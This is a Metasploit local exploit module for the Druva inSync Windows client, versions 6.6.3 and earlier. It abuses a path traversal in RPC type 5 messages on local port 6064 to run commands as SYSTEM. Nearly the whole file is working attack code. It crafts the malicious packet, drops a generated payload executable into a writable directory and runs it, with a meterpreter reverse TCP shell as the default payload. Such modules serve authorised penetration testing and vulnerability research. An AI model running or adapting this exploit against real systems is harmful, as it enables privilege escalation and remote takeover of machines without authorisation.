##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Services
  include Exploit::EXE
  include Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation',
          'Description' => %q{
            Druva inSync client for Windows exposes a network service on TCP
            port 6064 on the local network interface. inSync versions 6.6.3
            and prior do not properly validate user-supplied program paths
            in RPC type 5 messages, allowing execution of arbitrary commands
            as SYSTEM.

            This module has been tested successfully on inSync versions
            6.5.2r99097 and 6.6.3r102156 on Windows 7 SP1 (x64).
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Chris Lyne', # (@lynerc) Discovery and exploit (CVE-2019-3999); discovery of traversal bypass (CVE-2020-5752) for CVE-2019-3999 patch.
            'Matteo Malvica', # Duplicate independent discovery of traversal bypass (CVE-2020-5752)
            'bcoles' # Metasploit
          ],
          'References' => [
            ['CVE', '2019-3999'],
            ['CVE', '2020-5752'],
            ['EDB', '48400'],
            ['EDB', '48505'],
            ['EDB', '49211'],
            ['PACKETSTORM', '157493'],
            ['PACKETSTORM', '157802'],
            ['PACKETSTORM', '160404'],
            ['URL', 'https://www.tenable.com/security/research/tra-2020-12'],
            ['URL', 'https://www.tenable.com/security/research/tra-2020-34'],
            ['URL', 'https://github.com/tenable/poc/blob/master/druva/inSync/druva_win_cphwnet64.py'],
            ['URL', 'https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/'],
          ],
          'Platform' => [
            'win'
          ],
          'SessionTypes' => [
            'meterpreter'
          ],
          'Targets' => [
            [
              'Automatic',
              {}
            ]
          ],
          'DisclosureDate' => '2020-02-25',
          'DefaultOptions' => {
            'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
          },
          'Notes' => {
            'Reliability' =>
            [
              REPEATABLE_SESSION
            ],
            'Stability' =>
            [
              CRASH_SAFE
            ]
          },
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_config_getenv
              ]
            }
          }
        }
      )
    )
    register_advanced_options([
      OptString.new(
        'WritableDir',
        [
          false,
          'A directory where we can write files (%TEMP% by default)',
          nil
        ]
      ),
    ])
  end

  def base_dir
    datastore['WritableDir'].blank? ? session.sys.config.getenv('TEMP') : datastore['WritableDir'].to_s
  end

  def execute_command(host, port, command)
    header = 'inSync PHC RPCW[v0002]'
    rpc_type = [5].pack('V')
    cmd = "C:\\ProgramData\\Druva\\inSync4\\..\\..\\..\\Windows\\System32\\cmd.exe /c \"#{command}\"".force_encoding('UTF-8').unpack('U*').pack('v*')

    pkt = header
    pkt << rpc_type
    pkt << [cmd.length].pack('V')
    pkt << cmd

    result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)

    unless result['GetLastError'] == 0
      fail_with(Failure::Unknown, "Could not create socket: #{result['ErrorMessage']}")
    end

    socket = result['return']

    sock_addr = [AF_INET].pack('v')
    sock_addr << [port].pack('n')
    sock_addr << Rex::Socket.addr_aton(host)
    sock_addr << "\x00" * 8

    print_status("Connecting to #{host}:#{port} ...")

    result = client.railgun.ws2_32.connect(socket, sock_addr, sock_addr.length)

    unless result['GetLastError'] == 0
      fail_with(Failure::Unreachable, "Could not connect to #{host}:#{port} : #{result['ErrorMessage']}")
    end

    print_status("Sending packet (#{pkt.length} bytes) to #{host}:#{port} ...")
    vprint_status("Sending: #{pkt.inspect}")

    result = session.railgun.ws2_32.sendto(socket, pkt, pkt.length, 0, sock_addr, sock_addr.length)

    unless result['GetLastError'] == 0
      fail_with(Failure::NotVulnerable, "Could not send data to port: #{result['ErrorMessage']}")
    end

    session.railgun.ws2_32.closesocket(socket)
  end

  def check
    service = 'inSyncCPHService'

    unless service_exists?(service)
      return CheckCode::Safe("Service '#{service}' does not exist.")
    end

    CheckCode::Detected("Service '#{service}' exists.")
  end

  def exploit
    if is_system?
      fail_with(Failure::BadConfig, 'Session already has SYSTEM privileges')
    end

    payload_path = "#{base_dir}\\#{Rex::Text.rand_text_alphanumeric(8..10)}.exe"
    payload_exe = generate_payload_exe
    vprint_status("Writing payload (#{payload.encoded.length} bytes) to #{payload_path} ...")
    write_file(payload_path, payload_exe)
    register_file_for_cleanup(payload_path)

    execute_command('127.0.0.1', 6064, payload_path)
  end
end
